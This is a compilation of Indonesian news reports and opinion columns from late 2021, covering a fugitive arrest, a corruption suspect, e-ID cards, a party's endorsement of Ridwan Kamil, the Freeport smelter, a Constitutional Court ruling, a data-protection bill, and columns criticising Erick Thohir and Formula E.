Jambi, FNN - Tim Gabungan Polda Jambi menangkap lagi satu orang tahanan Polres Batanghari yang kabur beberapa waktu lalu, yaitu IW yang ditangkap di tempat pelariannya di Lahat, Sumatera Selatan. Panit Resmob Ditreskrimum Polda Jambi Iptu Rifqi memimpin penangkapan IW, seorang tahanan yang kabur itu di tempat persembunyiannya, di Lahat, Provinsi Sumatera Selatan, Kamis (25/11) malam, kata Kabid Humas Polda Jambi Kombes Pol Mulia Prianto, Jumat. Dia menyebutkan dari 24 orang tahanan kabur telah berhasil ditangkap sebanyak 17 orang, dan masih 7 orang lagi yang belum ditangkap. Pada Kamis (25/11) malam ditangkap lagi satu orang di Provinsi Sumsel, dan selebihnya ada enam orang tahanan yang masih dalam pengejaran. Dirreskrimum Polda Jambi Kombes Pol Kaswandi Irwan menyebutkan satu tahanan kabur yang ditangkap ini melarikan diri dan bersembunyi di Lahat. Pada saat akan dilakukan penangkapan, IW berusaha melawan dan melarikan diri, sehingga polisi melakukan tindakan tegas terukur Kombes Kaswandi Irwan menambahkan saat ini IW telah berada di Rutan Polda Jambi untuk diamankan. "Saya imbau agar para tahanan kabur yang belum tertangkap untuk segera menyerahkan diri karena pihak kepolisian akan terus melakukan pencarian," katanya pula. (sws)

DPO Kasus Korupsi PLTD Raja Ampat Tertangkap di Jakarta

Sorong, FNN - Mantan Direktur PT. Forking Mandiri, Besari Tjahyono, yang menjadi tersangka kasus korupsi perluasan jaringan listrik tegangan rendah dan menengah di Dinas Pertambangan dan Energi Kabupaten Raja Ampat pada tahun 2010 tertangkap di Jakarta. Besari Tjahyono yang masuk dalam daftar pencarian orang (DPO) selama empat tahun, diamankan pada 25 November 2021 di Jalan Karet Pedurenan Raya No. 60 Setiabudi Jakarta Selatan dan tiba di Sorong, Papua Barat, Jumat. Kepala Seksi Intelijen Kejaksaan Negeri Sorong, Sastra Adi Wicaksana di Sorong, Jumat, mengatakan bahwa setelah diamankan di Jakarta yang bersangkutan sempat dibawa ke Kejaksaan Negeri Jakarta Selatan untuk dilakukan pemeriksaan. Setelah itu, tambah dia, tersangka langsung diterbangkan ke Kejaksaan Tinggi Papua Barat di Manokwari guna proses administrasi dan dilanjutkan ke Kota Sorong untuk menjalani pemeriksaan lebih lanjut serta pemberkasan perkara tersebut. Kepala Seksi Tindak Pidana Khusus Kejaksaan Negeri Sorong, Khusnul Fuad yang memberikan keterangan terpisah, mengatakan bahwa tersangka Besari Tjahyono diamankan terkait kasus korupsi perluasan jaringan listrik tegangan rendah dan menengah pada Dinas Pertambangan dan Energi Kabupaten Raja Ampat pada tahun 2010. Dalam kasus tersebut, sesuai hasil audit BPK terdapat kerugian negara sebesar Rp1,3 miliar. Dan pihak kejaksaan telah menetapkan yang bersangkutan DPO sejak tahun 2018. Dikatakan bahwa tersangka diamankan berdasarkan Surat Perintah Penyidikan Nomor: Print-01/T.1.13/Fd.1/082017 tanggal 18 Agustus jo. Print-03/T.1.13/Fd.1/10/2018 tanggal 10 Oktober 2018. Dan surat penetapan yang bersangkutan sebagai tersangka Nomor: KEP-03/T.1.13/Fd.1/10/2018 tanggal 10 Oktober 2018. Perbuatan yang bersangkutan diancam dengan pasal 2 ayat (1) subside pasal 3 juncto pasal 18 Undang Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak pidana Korupsi sebagaimana telah diubah dengan Undang Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang Undang Nomor 31 Tahun 1999 juncto Pasal 55 ayat (1) ke-1 KUHP. (sws)

Disdukcapil Pekanbaru Pastikan Warganya Dapat KTP Elektronik

Pekanbaru, FNN - Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kota Pekanbaru memberikan kepastian bahwa masyarakatnya bisa mendapatkan Kartu Tanda Penduduk elektronik (KTP-e) kapan saja menyusul adanya stok blanko KTP sekitar 3.000 keping. "Blanko KTP-e, Allhamdulillah sampai saat ini tetap tersedia," kata Kepala Dinas Kependudukan dan Pencatatan Sipil Kota Pekanbaru Irma Novrita di Pekanbaru, Sabtu. Dia mengatakan stok blanko KTP elektronik itu diperkirakan bisa mencukupi untuk melayani warga Ibu Kota Provinsi Riau ini hingga akhir tahun 2021. "Mudah-mudahan sampai akhir tahun tetap tersedia juga," katanya. Dikatakan dia, jika stok blanko KTP-e saat ini yang tersedia sekitar 3.000 keping kurang, Disdukcapil masih bisa mengajukan permintaan ke Kementerian Dalam Negeri. "Kalau hampir habis kita ajukan lagi ke Jakarta," jelas Irma. Oleh karena itu, ia juga berpesan masyarakat tidak perlu khawatir dan ramai-ramai datang ke kantor Disdukcapil, mereka cukup mengakses aplikasi Layanan Tunggu Disdukcapil (Lagudukcapil). Layanan ini dikhususkan kepada masyarakat yang ingin mengurus pencetakan KTP elektronik sekaligus menghindari kerumunan mengingat saat ini masih dalam kondisi pandemi COVID-19. Ia mengatakan saat ini Dinas Dukcapil terus berupaya meningkatkan layanan kepada masyarakat. Sesuai standar operasional prosedur, layanan pencetakan dokumen kependudukan dapat diselesaikan dalam waktu 10 hari kerja. "Aplikasi ini bisa didownload melalui Playstore, kemudian masyarakat dapat mengajukan permohonannya melalui layanan tunggu itu. Setelah permohonan dimasukkan, petugas kami akan memverifikasi permohonan tersebut," terang Irma. Setelah diverifikasi petugas, kata Irma, petugasnya akan memberikan jawaban ataupun balasan jika selesai diverifikasi. Selanjutnya, masyarakat dapat datang ke Kantor Dinas Dukcapil dengan membawa persyaratan lengkap dan mengajukannya ke petugas. "Tidak sampai lima menit atau paling lama sepuluh menit, KTP sudah siap dicetak dan diserahkan," katanya. (sws)

Partai Hanura Jawa Barat Dukung Ridwan Kamil Jadi Calon Presiden 2024

Bandung, FNN - Partai Hati Nurani Rakyat (Hanura) Jawa Barat mendukung Gubernur Jawa Barat M. Ridwan Kamil untuk maju sebagai calon presiden (capres) pada Pemilu 2024. "Saat ini kami punya tokoh asli, pituin Sunda, yang memang track record dan pengalamannya luar biasa. Kami punya gubernur yang sudah teruji. Sebagai orang Jawa Barat, kami mendukung Kang Emil menjadi calon presiden," kata Ketua DPW Partai Hanura Jawa Barat Dian Rahadian dalam keterangan resmi, Sabtu. Dukungan agar Ridwan Kamil maju sebagai Capres RI pada Pemilu 2024 disampaikan Dian Rahadian di sela peresmian kantor baru DPW Partai Hanura Jawa Barat, Kota Bandung. Sebagai bagian dari Jawa Barat, pihaknya dan seluruh pengurus serta kader Partai Hanura itu merasa berkewajiban untuk mendorong putra daerah dalam kontestasi pemimpin nasional. Menurut dia, saat ini Ridwan Kamil yang merupakan putra terbaik yang layak diusulkan menjadi pemimpin nasional. Dian memastikan keseriusan dukungannya ini dengan akan menyampaikan hal tersebut ke DPP Partai Hanura. "Kami akan mengusulkan ke DPP Hanura agar pada Pilpres 2024 mengusung Ridwan Kamil," katanya. Ia menjelaskan bahwa dukungannya ini merupakan bentuk komitmen dan konsistensinya dalam mengusung Ridwan Kamil. "Sama seperti kami mendukung Ridwan Kamil pada Pilgub Jabar 2018. Kami tetap komitmen, konsisten, ingin Ridwan Kamil maju ke yang lebih jauh. Pilpres 2024 kami ingin Hanura berada bersama Ridwan Kamil," ujarnya. Ketika menyinggung seperti apa bentuk dukungannya nanti, Dian mengatakan bahwa pihaknya akan menempuh berbagai cara agar usulannya tersebut bisa tercapai. "Sekarang lisan, nanti tulisan juga akan disampaikan. Tentu ada mekanisme dan proses yang harus dilalui," ujarnya. Mengenai kesiapannya menghadapi Pemilu 2024, Dian menegaskan bahwa pihaknya saat ini terus berbenah. "Kami terus berkonsolidasi. Di Jawa Barat, kami sudah hadir di semua kabupaten/kota. Kami menargetkan hadir di 75 persen kecamatan se-Jawa Barat," ujarnya. (sws)

Era Dai Nipon Taekoku 1942-1945

Oleh Ridwan Saidi *) Di timur matahari mulai bercahya Bangun dan berdiri kawan semua Marilah menyusun barisan kita Untuk Indonesia selama-lamanya Lagu ini sangat populer di masa pendudukan Jepang. Tak jelas pula siapa penciptanya. Khobar burung ini dicipta Tan Malaka. Penjajahan Jepang kejam dengan proyek Romusha, kerja paksa, Jugun Ianfu, dan sex paksa. Orang Indonesia sering salah tingkah kalau papasan dengan serdadu Jepang. Seikere, ditabok sambil dibentak bagero, tidak seIkere, ditabok ganda, pipi kiri dan kanan, serta bonus bentakan bagero. Ada sisi lain yang mau CABE (Catatan Babe) ungkap: 1. Tiap pagi rakyat taiso, senam pagi dipimpin komico, kepala kampung. Hitungan 1 - 8: it ni san si go rok si hat. 2. Anak2 gadis boleh ikut kursus pengantin, dididik jadi calon ibu rumah tangga. 3. Kantor Gunseikanbu (kantor penerangan) memfasilitasi seniman. Pelukis Affandi dan penyair Chairil Anwar tumbuh di era ini. Juga grup sandiwara keliling Ratu Asia sangat populer di jaman itu. Tapi ada pula seniman yang menjauh dari Jepang a.l pengarang Idrus. 4. Ormas2 Islam pada tahun 1943 disatukan dalam wadah Majlis Islam A'la Indonesia dan berkantor di Gondangdia. Ustadz Ahmad Hassan dan Syekh Ahmad Surkati menjauh dari Jepang. Tuan Hassan menjadi tukang vulkanisir ban. 5. Medio 1945 Jepang mem-bagi2 bendera merah putih hampir di seluruh kota. Juga mendirikan Dokoritsu Zyunbi Tsosakai, badan penyelidik usaha persiapan kemerdekaan Indonesia. Jepang menerima takluk Belanda 8 Maret 1942. 12 Maret 1942 Jepang memasang ginza, geometri teologis Sinto, di lapangan Gambir dengan dihadiri rakyat banyak. Photo atas bersumber majalah Sin Po semasa. Sin tuhan, To manusia. Kedatangan suku Ainu, yang tertua di Jepang, dilaporkan relief Borobudur XI M. Nama tempat Karet Tengsin jejak lama Jepang di Jakarta. Teng penerangan, Sin tuhan. Ini tempat belajar Sinto. Lokasi bekas bangunan Tengsin kini Klentengm Diksi teologis yang digunakan Jepang pengaruh migrasi bangsa Egypt IV SM. Bangsa Egypt selalu dikenang karena pemikiran peradabannya, bukan karena balap motor atau balap mobil, apalagi balap congkak tapi dungu. *) Budayawan

Freeport: Smelter Dibangun di Gresik Terkait Penyerapan Produk Limbah

Gresik, FNN - PT Freeport Indonesia menjelaskan alasan membangun Smelter di Kabupaten Gresik, Jawa Timur, yakni karena adanya perusahaan besar yang mampu menyerap limbah secara besar dari produk yang dihasilkan oleh perusahaan itu. Vice President Corporate Communication PT Freeport Indonesia, Riza Pratama di Gresik, Jumat mengatakan dua perusahaan besar yang sangat membutuhkan limbah Smelter adalah Petrokimia Gresik dan Semen Indonesia. "Seperti limbah asam sulfat yang digunakan untuk bahan dasar pupuk di Petrokimia. Kemudian limbah tembaga untuk bahan pabrik semen. Jadi pilihan tempat di Gresik sangat tepat. Tidak ada bahan yang akan dibuang sembarangan, melainkan ada industri yang bisa menyerap limbah," kata Riza, saat acara bersama media di Gresik. Ia memastikan, tidak akan ada limbah yang terbuang dari proses olahan Smelter di Gresik, sehingga masyarakat tidak perlu khawatir dengan keberadaan Smelter di "Kota Santri" tersebut. Riza mengatakan, selama ini proses olahan Smelter lebih banyak diekspor ke luar negeri, sedangkan apabila Smelter dibangun di Gresik diharapkan akan diserap pasar dalam negeri, sebab produk limbahnya berupa tembaga mampu dijadikan bahan dasar pembuatan telepon seluler serta alat elektronik dan otomotif. "Kenapa tidak dibangun di Papua, biayanya cukup tinggi. Karena di sana tidak ada industri yang menyerap," katanya. Sementara itu, Riza mengatakan, proyek pembangunan Smelter PT Freeport Indonesia di Gresik telah berjalan sesuai rencana, dan hingga kini mencapai 8 persen, setelah diresmikan Presiden Joko Widodo. Keberasaan Smelter adalah di kawasan Java Integrated and Industrial Port Estate (JIIPE), dan menempati lahan seluas 100 hektare, dengan proyek pengerjaannya dilakukan perusahaan kontraktor PT Ciyoda International Indonesia (CII) yang saat ini masih fokus pemadatan lahan. Perusahaan smelter memiliki kapasitas 1,7 juta ton konsentrat per tahun serta 480 ribu ton logam tembaga serta fasilitas precious metal refinery (PMR). Freeport Indonesia mampu menghasilkan 600 ribu koper per tahun. Nilai koper sekarang lagi super cycle bisa mencapai 9.400 dolar AS per ton dengan menelan investasi sebesar Rp42 triliun, sedangkan pendapatan dari koper bisa mencapai 5,4 miliar dolar AS. (sws, ant)

Indonesia-Inggris Sepakat Perbarui MoU Kerja Sama Pertahanan

Jakarta, FNN - Indonesia dan Inggris sepakat untuk memperbarui nota kesepahaman (MoU) Kerja Sama Pertahanan, yang telah ditandatangani sejak 2012, guna melanjutkan kerja sama sektor pertahanan dan militer kedua negara. Kesepakatan itu dicapai dalam Dialog Kerja sama Pertahanan Bersama (Joint Defence Cooperation Dialogue/JDCD) ke-3 Indonesia-Inggris yang berlangsung di kantor Kementerian Pertahanan Inggris, menurut keterangan KBRI London yang diterima di Jakarta, Sabtu. "Jalinan hubungan pertahanan Indonesia dan Inggris memiliki nilai strategis, utamanya untuk memperkuat kapasitas SDM (sumber daya manusia) pertahanan maupun kemajuan industri pertahanan Indonesia,” kata Duta Besar RI untuk Inggris Desra Percaya kepada Delegasi RI. Direktur Jenderal Strategi Pertahanan Kementerian Pertahanan RI, Mayjen TNI Rodon Pedrason, bertindak selaku pimpinan delegasi RI yang terdiri dari perwakilan dari Kemhan, Kemenlu, dan TNI. Sementara itu, delegasi Inggris dipimpin oleh Air Vice Marshall Alastair Smith, Assistant Chief of Defence Staff on Military Strategy and Global Engagement. JDCD merupakan dialog bilateral di bidang pertahanan yang dijalin oleh kedua negara sejak Juni 2019, yakni bertepatan dengan perayaan 70 tahun hubungan bilateral RI-Inggris. Secara bergantian kedua negara berperan sebagai tuan rumah. Pada 2021, Inggris mendapat giliran untuk menjadi tuan rumah JDCD. Sejumlah bidang kerja sama pertahanan yang dibahas dalam dialog tahunan itu mencakup kerja sama terkait perkembangan situasi politik dan keamanan, keamanan di wilayah Indo-Pasifik, serta pengembangan kapasitas dan industri pertahanan. Selain itu, JDCD ke-3 itu juga mengevaluasi implementasi hasil kesepakatan JDCD ke-2 dan program-program konkret ke depan yang disepakati kedua negara. Kerja sama pertahanan Indonesia dan Inggris yang telah dilaksanakan terbilang komprehensif, termasuk di bidang Bantuan Kemanusiaan dan Penanggulangan Bencana dalam gempa di Palu pada 2018 lalu, dan juga di bidang pendidikan, baik militer maupun universitas, serta kerja sama transfer teknologi pada industri pertahanan. Inggris telah menyatakan ketertarikan untuk memperkuat kehadirannya di berbagai penjuru dunia pascaberpisahnya negara itu dari Uni Eropa (Brexit). Ketertarikan Inggris itu pun dituangkan dalam visi "Global Britain". Secara spesifik, Inggris menyebut wilayah Indo-Pasifik sebagai salah satu area strategis untuk pengembangan kerja sama. (sws, ant)

Putusan MK Soal UU Cipta Kerja Dinilai Timbulkan Ketidakpastian Hukum

Jakarta, FNN - Putusan Mahkamah Konstitusi (MK) yang menyatakan Undang-Undang Nomor 11 Tahun 2020 Tentang Cipta Kerja inkonstitusional dinilai dapat menimbulkan ketidakpastian hukum. "Telah dinyatakan inkonstitusional, namun masih diberi ruang untuk diperbaiki selama 2 tahun. Sehingga jika kami mencermati, maka putusan tersebut tidak menghasilkan sebuah kepastian hukum," kata Ketua Pusat Bantuan Hukum Perhimpunan Advokat Indonesia (Peradi) Jakarta Selatan, Rika Irianti menanggapi putusan MK itu, di Jakarta, Jumat. Sebagaimana putusan MK yang dijatuhkan, telah memunculkan fakta jika proses pembentukan UU Cipta Kerja telah melanggar syarat-syarat formil dalam hal pembentukan suatu undang-undang itu sendiri. Dampaknya yang paling besar, kata Rika, adalah keresahan masyarakat dalam menyikapi putusan tersebut. Sehingga, sangat disayangkan jika yang seharusnya undang-undang ini telah digodok dengan memakan waktu yang cukup lama dan biaya yang cukup besar, pada akhirnya dinyatakan inkonstitusional oleh MK. Menurut dia, hal itu menjadi pelajaran penting bagi pembuat undang-undang untuk dapat lebih mengedepankan taat asas dalam pembentukan undang-undang, khususnya dalam rangka perbaikan UU Cipta Kerja selama dua tahun ke depan. "Penegasan kalimat inkonstitusional untuk sebuah produk hukum sama dengan menyatakan produk hukum tersebut bukan produk hukum yang tegas dan jelas," jelas Rika dalam keterangan tertulisnya. Sebelumnya, Majelis Hakim Mahkamah Konstitusi (MK) menyatakan bahwa Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat. "Bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat sepanjang tidak dimaknai 'tidak dilakukan perbaikan dalam waktu 2 tahun sejak putusan ini diucapkan'," kata Ketua MK Anwar Usman saat membacakan amar putusan yang disiarkan secara langsung di kanal YouTube Mahkamah Konstitusi RI dan dipantau dari Jakarta, Kamis (25/11). Dalam pembacaan amar putusan, Anwar Usman juga menyatakan bahwa Undang-Undang Cipta Kerja masih tetap berlaku sampai dengan para pembentuk undang-undang, yakni pemerintah dengan DPR melakukan perbaikan pembentukan sesuai dengan tenggang waktu sebagaimana yang telah ditentukan di dalam putusan tersebut. Lebih lanjut, MK memerintahkan kepada para pembentuk undang-undang untuk melakukan perbaikan dalam jangka waktu paling lama 2 tahun sejak putusan tersebut diucapkan oleh MK, dan apabila dalam tenggang waktu tersebut para pembentuk undang-undang tidak melakukan perbaikan, Undang-Undang Cipta Kerja menjadi inkonstitusional secara permanen. "Apabila dalam tenggang waktu 2 tahun pembentuk undang-undang tidak dapat menyelesaikan perbaikan (UU Cipta Kerja, red.), undang-undang atau pasal-pasal atau materi muatan undang-undang yang telah dicabut atau diubah oleh UU Cipta Kerja harus dinyatakan berlaku kembali," ucap Anwar Usman. Sementara itu, pemerintah segera menindaklanjuti hasil putusan Mahkamah Konstitusi tersebut. "Pemerintah akan segera menindaklanjuti putusan MK yang dimaksud melalui penyiapan perbaikan undang-undang dan melaksanakan dengan sebaik-baiknya arahan Mahkamah Konstitusi lainnya, sebagaimana dimaksud dalam putusan Mahkamah Konstitusi tersebut," kata Menteri Koordinator Bidang Perekonomian Airlangga Hartarto dalam jumpa pers virtual di Jakarta, Kamis. Airlangga yang hadir bersama Menteri Hukum dan HAM Yasonna Laoly ini mengatakan pemerintah juga akan menghormati dan mematuhi putusan MK serta akan melaksanakan Undang-Undang Cipta Kerja sesuai dengan putusan tersebut. Ia juga memastikan UU Cipta Kerja masih berlaku secara konstitusional sampai adanya perbaikan pembentukan sesuai dengan tenggang waktu dua tahun sejak putusan MK ini dibacakan. "Putusan Mahkamah Konstitusi juga menyatakan agar pemerintah tidak menerbitkan peraturan baru yang bersifat strategis sampai dengan perbaikan atas pembentukan UU Cipta Kerja. Dengan demikian, peraturan perundangan yang telah diberlakukan untuk melaksanakan UU Cipta Kerja tetap berlaku," katanya. (sws, ant)

Urgensi Perlindungan Data Pribadi dan Penantian Pengesahan RUU PDP

Jakarta, FNN - Peristiwa kebocoran data yang semakin marak terjadi di tengah masyarakat Indonesia dapat dilihat sebagai bukti nyata urgensi perlindungan terhadap data pribadi pada saat ini. Selain itu, Rancangan Undang-Undang Perlindungan Data Pribadi (RUU PDP) pun semakin mendesak untuk disahkan dalam waktu dekat. Namun, fakta di lapangan menunjukkan yang terjadi justru sebaliknya. Masyarakat semakin terancam perlindungan data pribadinya dan pengesahan RUU PDP terus mengalami stagnasi. Dari informasi termutakhir yang tidak berhenti bergema, silang pendapat terkait keberadaan lembaga pengawas independen antara Komisi I DPR RI dan pemerintah menjadi persoalan utama yang menghambat disahkannya RUU PDP. Menurut anggota Komisi I DPR RI Rizki Aulia Rahman Natakusumah, setelah berdiskusi dengan para ahli, pemikir, lembaga sosial masyarakat, dan pihak swasta disepakati keberadaan lembaga pengawas independen diperlukan untuk melaksanakan fungsi pengawasan RUU PDP ke depannya. Keberadaan lembaga tersebut, lanjut Rizki, ditujukan untuk memunculkan kesetaraan antara pihak swasta dan publik selaku pengelola data pribadi masyarakat. Namun, belum ada kesepakatan di antara Komisi I DPR RI dan pemerintah tentang keberadaan lembaga tersebut, bahkan terkait letak strukturnya yang diharapkan dapat berada di luar kementerian. Persoalan itu berujung membuat pengesahan RUU PDP terus berada pada posisi “menggantung”. Tidak sampai di sana, ada pula kendala lain yang menghambat pengesahan RUU PDP, yaitu segrasi data yang kurang mendapatkan perhatian dalam pembahasan draf peraturan itu. Segrasi data ini merupakan pemisahan atau pemilahan data di antara data pribadi yang terbuka dan tertutup untuk diakses oleh pihak ketiga. Segerasi data perlu diatur karena profiling atau sistem algoritma dari kecerdasan buatan (AI) yang merekam riwayat pencarian data pribadi pengguna internet ataupun aplikasi tertentu dapat dijual oleh pihak yang memproses dan mengendalikan data. Karena kendala-kendala yang tidak kunjung menemui titik temu itu, data pribadi masyarakat yang jelas bernilai penting untuk dilindungi pun semakin terancam disalahgunakan oleh pihak tertentu. Urgensi perlindungan data pribadi Seperti yang dikemukakan oleh Koordinator Nasional Jaringan Pegiat Literasi Digital (Japelidi) Novi Kurnia, ada empat poin utama yang membuat data pribadi masyarakat Indonesia menjadi penting untuk dilindungi. Pertama terkait hak asasi manusia (HAM), menurut Novi Kurnia, perlindungan data pribadi merupakan bagian dari HAM sebagaimana hak atas privasi secara implisit dijamin oleh Pasal 28G ayat (1) UUD 1945. Di dalamnya, disebutkan bahwa setiap orang berhak atas perlindungan diri pribadi, keluarga, kehormatan, martabat, dan harta benda yang di bawah kekuasaannya, serta berhak atas rasa aman dan perlindungan dari ancaman ketakutan untuk berbuat atau tidak berbuat sesuatu yang merupakan hak asasi. Masih terkait hak asasi manusia, pentingnya perlindungan terhadap data pribadi juga dipertegas dalam putusan MK Nomor 50/PUU-VI/2008 tentang Perkara Pengujian Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik. Dalam putusan tersebut, dinyatakan bahwa Pasal 27 ayat (3) UU ITE melarang perbuatan dengan sengaja dan tanpa hak mendistribusikan dan/atau mentransmisikan dan/atau membuat dapat diaksesnya informasi elektronik dan/atau dokumen elektronik yang memiliki penghinaan dan/atau pencemaran nama baik. Kemudian, Mahkamah Konstitusi memutuskan pasal tersebut tidak bertentangan dengan hak dan kewenangan konstitusional seseorang, nilai-nilai demokrasi, dan prinsip-prinsip negara hukum. Selanjutnya di poin kedua, Novi Kurnia menjelaskan alasan lain pentingnya perlindungan terhadap data pribadi adalah kepentingan terkait perlindungan konsumen. Dalam hal tersebut, transaksi daring yang semakin sering digunakan oleh masyarakat meningkatkan penggunaan data pribadinya sehingga pengaturan yang tegas dari ranah hukum pun dibutuhkan agar tidak merugikan mereka sebagai konsumen. Poin ketiga adalah terkait hubungan internasional. Di dalam hubungan internasional, perlindungan data pribadi menjadi penting untuk dimanfaatkan dalam arus informasi dan perdagangan antarnegara. Oleh karena itu, perlindungan terhadap data pribadi semakin tidak bisa diabaikan. Selanjutnya, poin terakhir adalah harmonisasi regulasi. Di poin ini, data pribadi diatur dalam beberapa peraturan sektoral, seperti perbankan, telekomunikasi, UU ITE, UU Kesehatan, dan UU Administrasi Kependudukan. Dengan demikian, RUU Perlindungan Data Pribadi dapat digunakan sebagai payung hukum sekaligus alat mengakomodasi keberadaan teknologi baru. Menantikan pengesahan RUU PDP Keempat poin yang jelas terikat pada hak asasi manusia, perlindungan konsumen, arus informasi serta perdagangan antarnegara, dan demi wujudkan harmonisasi regulasi memperkuat nilai penting pemenuhan perlindungan data pribadi milik masyarakat di Indonesia. Oleh karena itu, pengesahan RUU PDP semakin dinantikan. Peraturan tersebut bertujuan utama untuk melindungi hak warga negara berkenaan dengan data pribadi mereka agar tidak digunakan di luar keinginan atau kewajibannya oleh pihak swasta maupun pemerintah. Dengan menimbang hal-hal berkenaan urgensi perlindungan data pribadi, sudah sepatutnya hambatan dalam pengesahan RUU PDP seperti yang dikemukakan di awal segera dicarikan jalan keluar oleh para pihak terkait. Menurut Guru Besar Fakultas Hukum Universitas Katolik Parahyangan Catharina Dewi Wulansari, RUU PDP sangat dibutuhkan oleh masyarakat agar mereka sebagai warga negara terpenuhi hak atas perlindungan kesejahteraannya. Selain itu, ia juga menilai RUU PDP akan mampu menciptakan keseimbangan tata kelola data pribadi. Untuk perwujudan perlindungan data pribadi di tengah era serba digital dan meningkatnya ancaman kejahatan siber, dapat dikatakan bahwa harapan sebesar-besarnya ada pada pengesahan RUU PDP sesegera mungkin. (sws, ant)

Ambisi Erick

Oleh M Rizal Fadillah Hak siapapun termasuk Menteri untuk memiliki keinginan menjadi Presiden. Masalahnya adalah pada kemampuan dan reputasi yang menunjangnya. Erick Tohir Menteri BUMN tidak terkecuali. Fenomenanya adalah semangat besar Erick untuk melangkahkan kaki bahkan berlari menuju persaingan pemilihan Presiden 2024. Kampanye sepertinya sudah dimulai. Dari memasang foto diri di berbagai ATM hingga ikut gaya Jokowi blusukan. Saat ke SPBU Pertamina tampil mencari simpati meminta penggratisan WC yang tentu ditertawakan oleh banyak orang khususnya netizen. Kok Menteri BUMN ngurus WC begitu celetukannya. Kasus Real Time Polymerase Chain Reaction (RT PCR) masih membelitnya. Bersama Luhut Binsar Panjaitan Erick dituduh di saat pandemi berbisnis mencari keuntungan pelayanan test PCR. Dari awal dua jutaan hingga turun menjadi 275 ribu. Dugaan betapa besar keduanya mengeruk keuntungan. Hebatnya menurut Erick Tohir soal harga itu ternyata dibahas bersama dengan Presiden. Nah Presiden terseret. Luhut mengakui ada keuntungan tetapi konon untuk kepentingan sosial. Tidak menerima keuntungan pribadi, sergahnya. Publik masih bertanya tentang KKN dalam bisnis PCR. Tentu Erick disorot tajam. Mungkinkah untuk menambah pundi biaya kampanye Presiden yang mulai dijalankannya ? Adakah prestasinya yang signifikan menjadi modal politik untuk berkompetisi ? Jawabannya tidak. BUMN kalang kabut nyaris pada bangkrut. BUMN yang terancam bubar seperti Merpati Nusantara, Istaka Karya, PT Iglas, PT Kertas Leces, dan Sandang Nusantara. Jalan Tol dijual murah, Bandara Kualanamu terambil oleh India dan Perancis. Pertamina, KAI, dan Angkasa Pura megap-megap. Pengelolaan aset dan perusahaan pelat merah memang amburadul. Hutang besar dan berat BUMN tentu menjadi tanggung jawab sang Menteri. PLN (500 Trilyun), Waskita Karya (91,76 Trilyun) Garuda (70 Trilyun), Wijaya Karya (45,2 Trilyun), Krakatau Steel (40 Trilyun), Adhi Karya (34,9 Trilyun), dan lainnya. Ambisi di tengah keterpurukan adalah contoh budaya tak sadar diri dan tak punya malu. Modal pengusaha dan kekayaan pribadi saja tidak cukup. Prestasi kerja yang jeblok. Ambisi tanpa prestasi menjadi wajah pejabat negeri. Deklarasi pedukung Luhut untuk Presiden jadi lucu-lucuan. Begitu juga dengan Pendukung Cinta Republik (PCR) yang mendeklarasikan pasangan Luhut-Erick Tohir. Konon PCR rasa lain. Ada juga deklarasi Ganjar-Erick Tohir. Erick sendiri membantah deklarasi atas inisiatif nya. Presiden Jokowi untuk tiga periode, atau memperpanjang jabatan dengan alasan pandemi atau mendorong kandidat boneka untuk proteksi adalah adalah wujud dari ambisi tanpa prestasi. Sama dan serupa dengan Erick Tohir yang blusukan ke WC sebelum masuk ke dalam gorong-gorong. Gorong-gorong yang menjadi awal bencana politik bangsa. *) Pemerhati Politik dan Kebangsaan

Tap MPR Perihal Balap Mobil Formula E (Sebuah Wacana)

Oleh Ridwan Saidi Ketua MPR Bambang Susatyo memberi keterangan pers tentang balap mobil Formula E yang menurutnya akan menaikkan nama bangsa, Selanjutnya ia menyatakan tidak setuju kalau lokasi balap menggunakan areal Monas. Juga Bambang keberatan kalau menggunakan kompleks Gelora Bung Karno.. Berarti di Jakarta tak ada lokasi untuk Formula E. Ketua MPRS Jenderal Nasution tak pernah berbicara yang terkait masalah bangsa tanpa rujukan Tap MPRS. Bambang Soesatyo saya kenal baik, saya ajukan wacana kalau balap mobil bisa naikkan martabat bangsa kenapa tidak dibuatkan Tap MPR perihal balap mobil. Sebelum Mandalika juga volume gembar gembor kencang bukan main, begitu hari H pembalap malah ada yang mandi hujan. Tribune yang sempat diduduki sedikit orang saja kini dibongkar. Nasibnya sama dengan Stadion Tegal Alur. Proyek hamburi-hambur uang dengan alasan naikkan martabat bangsa juga terjadi di jaman orde lama dan kami sindir waktu itu sebagai proyek mercu suar. Kalau saya menulis seperti ini untuk menyampaikan pikiran saya semata, mungkin ada yang setuju. Tak perlulah staf Gubernur DKI yang membidangi wisata Ancol Geys Khalifah mengirim WA ke saya yang tidak pantas. Saya berpendapat Stadion Madrid di Sunter sulit akses. Formula E dikucur anggarannya lebih dulu tanpa dipastikan lokasinya. Tidak planmatig, kata orang Belanda. Saya tidak ada niat menghalangi Anies Baswedan mencapres dan atau Geys Khalifah mencapres, tetapi begitu banyak persoalan terkait memajukan wisata, sejarah, dan peradaban Jakarta yang perlu dibangun dan bukan malah berlomba mengundang rombongan sirkus kampung. Klar main, angkut barang- ya, dan good bye Hawaii. Sekali lagi silahkan Anies mencapres, dan mungkin Geys mencawapres, saya tak ada niat dan tak berhak pula menghalangi. Tapi numpang nanya apa itu pilfres bakal ada? *) Budayawan

Kandidat Direktur Eksekutif Dari Indonesia Ingin Organisasi Perdagangan Kayu Tropis Lebih Solid

